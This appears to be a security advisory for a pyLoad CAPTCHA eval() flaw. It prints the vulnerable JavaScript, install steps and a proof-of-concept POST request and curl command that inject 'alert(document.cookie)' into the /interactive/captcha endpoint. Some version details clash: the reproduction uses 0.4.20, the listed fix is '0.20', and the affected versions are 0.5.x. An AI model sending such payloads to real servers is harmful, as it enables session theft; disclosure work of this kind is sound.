PYSEC-2026-496

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Import Source

https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-496.yaml

JSON Data

https://api.osv.dev/v1/vulns/PYSEC-2026-496

Aliases

Published

2026-06-29T11:50:37Z

Modified

2026-07-09T17:45:05Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

pyLoad vulnerable to XSS through insecure CAPTCHA

Details

Summary

An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details

The vulnerable code resides in

function onCaptchaResult(result) {
    eval(result); // Direct execution of attacker-controlled input
}

The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()
No sanitization or validation is performed on this input
A malicious CAPTCHA result can include JavaScript such as fetch() or child_process.exec() in environments using NodeJS
Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods

Official Source Installation:

git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload

Virtual Environment:

python -m venv pyload-env
source pyload-env/bin/activate
 pip install pyload==0.4.20
pyload

CAPTCHA Endpoint Verification

Technical Clarification:

The vulnerable endpoint is actually:
```
/interactive/captcha
```
Complete PoC Request:

POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
 
cid=123&response=1%3Balert(document.cookie)

Curl Command Correction:

curl -X POST "http://localhost:8000/interactive/captcha" \
 -d "cid=123&response=1%3Balert(document.cookie)"

Vulnerable Code Location:
The eval() vulnerability is confirmed in:
```
src/pyload/webui/app/static/js/captcha-interactive.user.js
```

Resources

References

Affected packages

PyPI / pyload-ng

Package

Name: pyload-ng; View open source insights on deps.dev
Purl: pkg:pypi/pyload-ng

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.20

Affected versions

0.*

0.5.0a5.dev528

0.5.0a5.dev532

0.5.0a5.dev535

0.5.0a5.dev536

0.5.0a5.dev537

0.5.0a5.dev539

0.5.0a5.dev540

0.5.0a5.dev545

0.5.0a5.dev562

0.5.0a5.dev564

0.5.0a5.dev565

0.5.0a6.dev570

0.5.0a6.dev578

0.5.0a6.dev587

0.5.0a7.dev596

0.5.0a8.dev602

0.5.0a9.dev615

0.5.0a9.dev629

0.5.0a9.dev632

0.5.0a9.dev641

0.5.0a9.dev643

0.5.0a9.dev655

0.5.0a9.dev806

0.5.0b1.dev1

0.5.0b1.dev2

0.5.0b1.dev3

0.5.0b1.dev4

0.5.0b1.dev5

0.5.0b2.dev9

0.5.0b2.dev10

0.5.0b2.dev11

0.5.0b2.dev12

0.5.0b3.dev13

0.5.0b3.dev14

0.5.0b3.dev17

0.5.0b3.dev18

0.5.0b3.dev19

0.5.0b3.dev20

0.5.0b3.dev21

0.5.0b3.dev22

0.5.0b3.dev24

0.5.0b3.dev26

0.5.0b3.dev27

0.5.0b3.dev28

0.5.0b3.dev29

0.5.0b3.dev30

0.5.0b3.dev31

0.5.0b3.dev32

0.5.0b3.dev33

0.5.0b3.dev34

0.5.0b3.dev35

0.5.0b3.dev38

0.5.0b3.dev39

0.5.0b3.dev40

0.5.0b3.dev41

0.5.0b3.dev42

0.5.0b3.dev43

0.5.0b3.dev44

0.5.0b3.dev45

0.5.0b3.dev46

0.5.0b3.dev47

0.5.0b3.dev48

0.5.0b3.dev49

0.5.0b3.dev50

0.5.0b3.dev51

0.5.0b3.dev52

0.5.0b3.dev53

0.5.0b3.dev54

0.5.0b3.dev57

0.5.0b3.dev60

0.5.0b3.dev62

0.5.0b3.dev64

0.5.0b3.dev65

0.5.0b3.dev66

0.5.0b3.dev67

0.5.0b3.dev68

0.5.0b3.dev69

0.5.0b3.dev70

0.5.0b3.dev71

0.5.0b3.dev72

0.5.0b3.dev73

0.5.0b3.dev74

0.5.0b3.dev75

0.5.0b3.dev76

0.5.0b3.dev77

0.5.0b3.dev78

0.5.0b3.dev79

0.5.0b3.dev80

0.5.0b3.dev81

0.5.0b3.dev82

0.5.0b3.dev85

0.5.0b3.dev87

0.5.0b3.dev88

0.5.0b3.dev89

0.5.0b3.dev90

0.5.0b3.dev91

0.5.0b3.dev92

0.5.0b3.dev93

0.5.0b3.dev94

0.5.0b3.dev95

0.5.0b3.dev96

0.5.0b3.dev97

0.5.0b3.dev98

0.5.0b3.dev99

0.5.0b3.dev100

0.5.0b3.dev101

Database specific

source

"https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-496.yaml"